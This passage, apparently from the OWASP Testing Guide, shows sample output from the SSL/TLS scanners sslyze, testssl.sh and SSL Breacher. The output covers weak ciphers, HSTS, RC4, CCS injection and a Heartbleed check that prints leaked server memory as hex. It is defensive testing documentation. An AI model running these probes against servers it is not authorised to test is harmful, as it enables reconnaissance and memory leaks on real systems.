RSA_WITH_3DES_EDE_CBC_SHA<br />
DHE_RSA_WITH_3DES_EDE_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA<br />
RSA_WITH_AES_256_CBC_SHA<br />
DHE_RSA_WITH_AES_256_CBC_SHA<br />
RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA<br />
RSA_WITH_CAMELLIA_256_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA<br />
TLS_RSA_WITH_SEED_CBC_SHA<br />
TLS_DHE_RSA_WITH_SEED_CBC_SHA<br />
(TLSv1.0: idem)<br />
(TLSv1.1: idem)<br />
TLSv1.2<br />
RSA_WITH_RC4_128_SHA<br />
RSA_WITH_3DES_EDE_CBC_SHA<br />
DHE_RSA_WITH_3DES_EDE_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA<br />
RSA_WITH_AES_256_CBC_SHA<br />
DHE_RSA_WITH_AES_256_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA256<br />
RSA_WITH_AES_256_CBC_SHA256<br />
RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA256<br />
DHE_RSA_WITH_AES_256_CBC_SHA256<br />
RSA_WITH_CAMELLIA_256_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA<br />
TLS_RSA_WITH_SEED_CBC_SHA<br />
TLS_DHE_RSA_WITH_SEED_CBC_SHA<br />
TLS_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384<br />
----------------------<br />
Server certificate(s):<br />
******<br />
----------------------<br />
Minimal encryption strength: strong encryption (96-bit or more)<br />
Achievable encryption strength: strong encryption (96-bit or more)<br />
BEAST status: vulnerable<br />
CRIME status: protected<br />
<br />
</pre><br />
<br />
<br />
====Example 6. Testing SSL/TLS vulnerabilities with sslyze====<br />
Sslyze [33] is a python script which permits mass scanning and XML output. The following is an example of a regular scan. It is one of the most complete and versatile tools for SSL/TLS testing.<br />
<br />
<pre><br />
./sslyze.py --regular example.com:443<br />
<br />
REGISTERING AVAILABLE PLUGINS<br />
-----------------------------<br />
<br />
PluginHSTS<br />
PluginSessionRenegotiation<br />
PluginCertInfo<br />
PluginSessionResumption<br />
PluginOpenSSLCipherSuites<br />
PluginCompression<br />
<br />
<br />
<br />
CHECKING HOST(S) AVAILABILITY<br />
-----------------------------<br />
<br />
example.com:443 => 127.0.0.1:443<br />
<br />
<br />
<br />
SCAN RESULTS FOR EXAMPLE.COM:443 - 127.0.0.1:443<br />
---------------------------------------------------<br />
<br />
* Compression :<br />
Compression Support: Disabled<br />
<br />
* Session Renegotiation :<br />
Client-initiated Renegotiations: Rejected<br />
Secure Renegotiation: Supported<br />
<br />
* Certificate :<br />
Validation w/ Mozilla's CA Store: Certificate is NOT Trusted: unable to get local issuer certificate<br />
Hostname Validation: MISMATCH <br />
SHA1 Fingerprint: ******<br />
<br />
Common Name: www.example.com <br />
Issuer: ******<br />
Serial Number: **** <br />
Not Before: Sep 26 00:00:00 2010 GMT <br />
Not After: Sep 26 23:59:59 2020 GMT <br />
<br />
Signature Algorithm: sha1WithRSAEncryption <br />
Key Size: 1024 bit <br />
X509v3 Subject Alternative Name: {'othername': ['<unsupported>'], 'DNS': ['www.example.com']}<br />
<br />
* OCSP Stapling :<br />
Server did not send back an OCSP response. <br />
<br />
* Session Resumption :<br />
With Session IDs: Supported (5 successful, 0 failed, 0 errors, 5 total attempts).<br />
With TLS Session Tickets: Supported<br />
<br />
* SSLV2 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: None <br />
<br />
* SSLV3 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: <br />
RC4-SHA 128 bits HTTP 200 OK <br />
<br />
Accepted Cipher Suite(s): <br />
CAMELLIA256-SHA 256 bits HTTP 200 OK <br />
RC4-SHA 128 bits HTTP 200 OK <br />
CAMELLIA128-SHA 128 bits HTTP 200 OK <br />
<br />
Undefined - An unexpected error happened: None <br />
<br />
* TLSV1_1 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: <br />
ECDH-RSA-AES256-SHA socket.timeout - timed out <br />
ECDH-ECDSA-AES256-SHA socket.timeout - timed out <br />
<br />
* TLSV1_2 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: <br />
ECDH-RSA-AES256-GCM-SHA384 socket.timeout - timed out <br />
ECDH-ECDSA-AES256-GCM-SHA384 socket.timeout - timed out <br />
<br />
* TLSV1 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: <br />
RC4-SHA 128 bits Timeout on HTTP GET <br />
<br />
Accepted Cipher Suite(s): <br />
CAMELLIA256-SHA 256 bits HTTP 200 OK <br />
RC4-SHA 128 bits HTTP 200 OK <br />
CAMELLIA128-SHA 128 bits HTTP 200 OK <br />
<br />
Undefined - An unexpected error happened: <br />
ADH-CAMELLIA256-SHA socket.timeout - timed out <br />
<br />
<br />
<br />
SCAN COMPLETED IN 9.68 S<br />
------------------------<br />
</pre><br />
<br />
<br />
====Example 7. Testing SSL/TLS with testssl.sh====<br />
Testssl.sh [38] is a Linux shell script which provides clear output to facilitate good decision making. It can not only check web servers but also services on other ports, supports STARTTLS, SNI, SPDY and does a few check on the HTTP header as well. <br />
<br />
<br />
It's a very easy to use tool. Here's some sample output (without colors):<br />
<pre><br />
user@myhost: % testssl.sh owasp.org <br />
<br />
########################################################<br />
testssl.sh v2.0rc3 (https://testssl.sh)<br />
($Id: testssl.sh,v 1.97 2014/04/15 21:54:29 dirkw Exp $)<br />
<br />
This program is free software. Redistribution + <br />
modification under GPLv2 is permitted. <br />
USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK!<br />
<br />
Note you can only check the server against what is<br />
available (ciphers/protocols) locally on your machine<br />
########################################################<br />
<br />
Using "OpenSSL 1.0.2-beta1 24 Feb 2014" on<br />
"myhost:/<mypath>/bin/openssl64"<br />
<br />
<br />
Testing now (2014-04-17 15:06) ---> owasp.org:443 <---<br />
("owasp.org" resolves to "192.237.166.62 / 2001:4801:7821:77:cd2c:d9de:ff10:170e") <br />
<br />
<br />
--> Testing Protocols<br />
<br />
SSLv2 NOT offered (ok) <br />
SSLv3 offered <br />
TLSv1 offered (ok) <br />
TLSv1.1 offered (ok) <br />
TLSv1.2 offered (ok) <br />
<br />
SPDY/NPN not offered<br />
<br />
--> Testing standard cipher lists<br />
<br />
Null Cipher NOT offered (ok) <br />
Anonymous NULL Cipher NOT offered (ok) <br />
Anonymous DH Cipher NOT offered (ok) <br />
40 Bit encryption NOT offered (ok) <br />
56 Bit encryption NOT offered (ok) <br />
Export Cipher (general) NOT offered (ok) <br />
Low (<=64 Bit) NOT offered (ok) <br />
DES Cipher NOT offered (ok) <br />
Triple DES Cipher offered<br />
Medium grade encryption offered<br />
High grade encryption offered (ok) <br />
<br />
--> Testing server defaults (Server Hello)<br />
<br />
Negotiated protocol TLSv1.2 <br />
Negotiated cipher AES128-GCM-SHA256 <br />
<br />
Server key size 2048 bit<br />
TLS server extensions: server name, renegotiation info, session ticket, heartbeat<br />
Session Tickets RFC 5077 300 seconds<br />
<br />
--> Testing specific vulnerabilities<br />
<br />
Heartbleed (CVE-2014-0160), experimental NOT vulnerable (ok) <br />
Renegotiation (CVE 2009-3555) NOT vulnerable (ok) <br />
CRIME, TLS (CVE-2012-4929) NOT vulnerable (ok) <br />
<br />
--> Checking RC4 Ciphers <br />
<br />
RC4 seems generally available. Now testing specific ciphers...<br />
<br />
Hexcode Cipher Name KeyExch. Encryption Bits<br />
--------------------------------------------------------------------<br />
[0x05] RC4-SHA RSA RC4 128<br />
<br />
RC4 is kind of broken, for e.g. IE6 consider 0x13 or 0x0a<br />
<br />
--> Testing HTTP Header response <br />
<br />
HSTS no <br />
Server Apache<br />
Application (None)<br />
<br />
--> Testing (Perfect) Forward Secrecy (P)FS) <br />
<br />
no PFS available <br />
<br />
Done now (2014-04-17 15:07) ---> owasp.org:443 <---<br />
<br />
user@myhost: % <br />
<br />
<br />
</pre><br />
<br />
<br />
STARTTLS would be tested via <code>testssl.sh -t smtp.gmail.com:587 smtp</code>, each ciphers with <code>testssl -e <target></code>, each ciphers per protocol with <code>testssl -E <target></code>. To just display what local ciphers that are installed for openssl see <code>testssl -V</code>. For a thorough check it is best to dump the supplied OpenSSL binaries in the path or the one of testssl.sh.<br />
<br />
<br />
The interesting thing is if a tester looks at the sources they learn how features are tested, see e.g. Example 4. What is even better is that it does the whole handshake for heartbleed in pure /bin/bash with /dev/tcp sockets -- no piggyback perl/python/you name it. <br />
<br />
<br />
Additionally it provides a prototype (via "testssl.sh -V") of mapping to RFC cipher suite names to OpenSSL ones. The tester needs the file mapping-rfc.txt in same directory.<br />
<br />
<br />
====Example 8. Testing SSL/TLS with SSL Breacher ====<br />
This tool is combination of several other tools plus some additional checks in complementing most comprehensive SSL tests.<br />
It supports the following checks:<br />
#HeartBleed<br />
#ChangeCipherSpec Injection<br />
#BREACH <br />
#BEAST <br />
#Forward Secrecy support<br />
#RC4 support<br />
#CRIME & TIME (If CRIME is detected, TIME will also be reported)<br />
#Lucky13<br />
#HSTS: header presence <br />
# HSTS:Reasonable duration of MAX-AGE <br />
# HSTS:Check for SubDomains support<br />
#Certificate expiration<br />
#Insufficient public key-length<br />
#Host-name mismatch<br />
#Weak Insecure Hashing Algorithm (MD2, MD4, MD5)<br />
#SSLv2 support<br />
#Weak ciphers check<br />
#Null Prefix in certificate<br />
#HTTPS Stripping<br />
#Non-SSL elements/contents embedded in SSL page<br />
#Cache-Control<br />
<br />
<br />
<pre><br />
pentester@r00ting: % breacher.sh https://localhost/<br />
<br />
Host Info:<br />
==============<br />
Host : localhost<br />
Port : 443<br />
Certificate Validation : false<br />
<br />
<br />
<br />
Certificate Info:<br />
==================<br />
Type: Domain Validation Certificate (i.e. NON-Extended Validation Certificate)<br />
Expiration Date: Sat Nov 09 07:48:47 SGT 2019<br />
Signature Hash Algorithm: SHA1withRSA<br />
Public key: Sun RSA public key, 1024 bits<br />
modulus: 135632964843555009910164098161004086259135236815846778903941582882908611097021488277565732851712895057227849656364886898196239901879569635659861770850920241178222686670162318147175328086853962427921575656093414000691131757099663322369656756090030190369923050306668778534926124693591013220754558036175189121517<br />
public exponent: 65537<br />
Signed for: CN=localhost<br />
Signed by: CN=localhost<br />
Total certificate chain: 1<br />
<br />
(Use -Djavax.net.debug=ssl:handshake:verbose for debugged output.)<br />
<br />
=====================================<br />
<br />
Certificate Validation:<br />
===============================<br />
[!] Signed using Insufficient public key length 1024 bits<br />
(Refer to http://www.keylength.com/ for details)<br />
[!] Certificate Signer: Self-signed/Untrusted CA - verified with Firefox & Java ROOT CAs.<br />
<br />
=====================================<br />
<br />
Loading module: Hut3 Cardiac Arrest ...<br />
<br />
Checking localhost:443 for Heartbleed bug (CVE-2014-0160) ...<br />
<br />
[-] Connecting to 127.0.0.1:443 using SSLv3<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over SSLv3<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 00 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.0<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.0<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 01 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.1<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.1<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 02 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.2<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.2<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 03 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
<br />
[-] Closing connection<br />
<br />
<br />
<br />
[!] Vulnerable to Heartbleed bug (CVE-2014-0160) mentioned in http://heartbleed.com/<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Loading module: CCS Injection script by TripWire VERT ...<br />
<br />
Checking localhost:443 for OpenSSL ChangeCipherSpec (CCS) Injection bug (CVE-2014-0224) ...<br />
<br />
[!] The target may allow early CCS on TLSv1.2<br />
[!] The target may allow early CCS on TLSv1.1<br />
[!] The target may allow early CCS on TLSv1<br />
[!] The target may allow early CCS on SSLv3<br />
<br />
<br />
[-] This is an experimental detection script and does not definitively determine vulnerable server status.<br />
<br />
[!] Potentially vulnerable to OpenSSL ChangeCipherSpec (CVE-2014-0224) mentioned in http://ccsinjection.lepidum.co.jp/<br />
[!] Vulnerability Status: Possible<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for HTTP Compression support against BREACH vulnerability (CVE-2013-3587) ...<br />
<br />
[*] HTTP Compression: DISABLED<br />
[*] Immune from BREACH attack mentioned in https://media.blackhat.com/us-13/US-13-Prado-SSL-Gone-in-30-seconds-A-BREACH-beyond-CRIME-WP.pdf<br />
[*] Vulnerability Status: No<br />
<br />
<br />
--------------- RAW HTTP RESPONSE ---------------<br />
<br />
HTTP/1.1 302 Found<br />
Date: Sat, 19 Jul 2014 17:54:32 GMT<br />
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7<br />
X-Powered-By: PHP/5.4.7<br />
Location: https://localhost/xampp/<br />
Content-Length: 0<br />
Connection: close<br />
Content-Type: text/html<br />
<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for correct use of Strict Transport Security (STS) response header (RFC6797) ...<br />
<br />
[!] STS response header: NOT PRESENT<br />
[!] Vulnerable to MITM threats mentioned in https://www.owasp.org/index.php/HTTP_Strict_Transport_Security#Threats<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
--------------- RAW HTTP RESPONSE ---------------<br />
<br />
HTTP/1.1 302 Found<br />
Date: Sat, 19 Jul 2014 17:54:32 GMT<br />
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7<br />
X-Powered-By: PHP/5.4.7<br />
Location: https://localhost/xampp/<br />
Content-Length: 0<br />
Connection: close<br />
Content-Type: text/html<br />
<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost for HTTP support against HTTPS Stripping attack ...<br />
<br />
[!] HTTP Support on port [80] : SUPPORTED<br />
[!] Vulnerable to HTTPS Stripping attack mentioned in https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for HTTP elements embedded in SSL page ...<br />
<br />
[*] HTTP elements embedded in SSL page: NOT PRESENT<br />
[*] Immune from MITM malicious content injection attack<br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for ROBUST use of anti-caching mechanism ...<br />
<br />
[!] Cache Control Directives: NOT PRESENT<br />
[!] Browsers, Proxies and other Intermediaries will cache SSL page and sensitive information will be leaked.<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
-------------------------------------------------<br />
<br />
<br />
Robust Solution (Is it Troublesome for you to add more things for your site security?):<br />
<br />
- Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0, max-age=0, s-maxage=0<br />
- Ref: https://www.owasp.org/index.php/Testing_for_Browser_cache_weakness_(OWASP-AT-007)<br />
http://msdn.microsoft.com/en-us/library/ms533020(v=vs.85).aspx<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for ECDHE/DHE ciphers against FORWARD SECRECY support ...<br />
<br />
[*] Forward Secrecy: SUPPORTED<br />
[*] Connected using cipher - TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA on protocol - TLSv1<br />
[*] Attackers will NOT be able to decrypt sniffed SSL packets even if they have compromised private keys.<br />
[*] Vulnerability Status: No<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for RC4 support (CVE-2013-2566) ...<br />
<br />
[!] RC4: SUPPORTED<br />
[!] Vulnerable to MITM attack described in http://www.isg.rhul.ac.uk/tls/<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
<br />
=====================================<br />
<br />
